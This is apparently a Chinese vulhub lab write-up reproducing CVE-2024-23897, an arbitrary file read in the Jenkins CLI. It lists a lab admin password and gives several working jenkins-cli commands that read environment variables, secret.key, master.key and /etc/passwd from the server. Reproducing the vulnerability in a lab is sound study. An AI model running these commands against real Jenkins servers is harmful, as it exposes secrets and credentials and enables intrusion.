vulhub中Jenkins CLI 接口任意文件读取漏洞复现(CVE-2024-23897)

Jenkins是一个开源的自动化服务器。

Jenkins使用[args4j](https://github.com/kohsuke/args4j)来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。args4j中用户可以通过`@`字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。

该漏洞影响Jenkins 2.441及以前的版本。

访问http://your-ip:8080即可查看到Jenkins登录页面,默认的管理员帐号密码为admin和vulhub。

漏洞复现

利用该漏洞可以直接使用官方提供的命令行客户端,在http://localhost:8080/jnlpJars/jenkins-cli.jar下载。

使用该工具读取目标服务器的/proc/self/environ文件,可以找到Jenkins的基础目录,JENKINS_HOME=/var/jenkins_home:
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

然后,可在该目录下读取敏感文件,如secrets.key or master.key(匿名情况下,只能通过命令行的报错读取文件的第一行):
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"


java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

因为开启了“匿名用户可读”选项,你也可以直接使用`connect-node`命令读取完整文件内容:
java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-05 19:35:34       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-05 19:35:34       100 阅读
  3. 在Django里面运行非项目文件

    2024-06-05 19:35:34       82 阅读
  4. Python语言-面向对象

    2024-06-05 19:35:34       91 阅读

热门阅读

  1. Linux Python基础教程:从入门到精通的全方位解析

    2024-06-05 19:35:34       28 阅读
  2. http和https分别是什么?区别是什么?

    2024-06-05 19:35:34       34 阅读
  3. 插件:vite-plugin-electron

    2024-06-05 19:35:34       32 阅读
  4. JVM常用概念之锁粗化和循环

    2024-06-05 19:35:34       27 阅读
  5. Nginx实战:https 配置SSL证书

    2024-06-05 19:35:34       26 阅读
  6. 正则表达式

    2024-06-05 19:35:34       24 阅读
  7. 二分学习·P10389 [蓝桥杯 2024 省 A] 成绩统计

    2024-06-05 19:35:34       28 阅读
  8. .Net Core WebAPI参数的传递方式

    2024-06-05 19:35:34       49 阅读
  9. QT--气泡框的实现

    2024-06-05 19:35:34       46 阅读
  10. LeetCode 968.监控二叉树 (hard)

    2024-06-05 19:35:34       48 阅读
  11. leetcode热题100.完全平方数(动态规划进阶)

    2024-06-05 19:35:34       46 阅读
  12. leetcode328-Odd Even Linked List

    2024-06-05 19:35:34       49 阅读
  13. C 语言设计模式(结构型)

    2024-06-05 19:35:34       44 阅读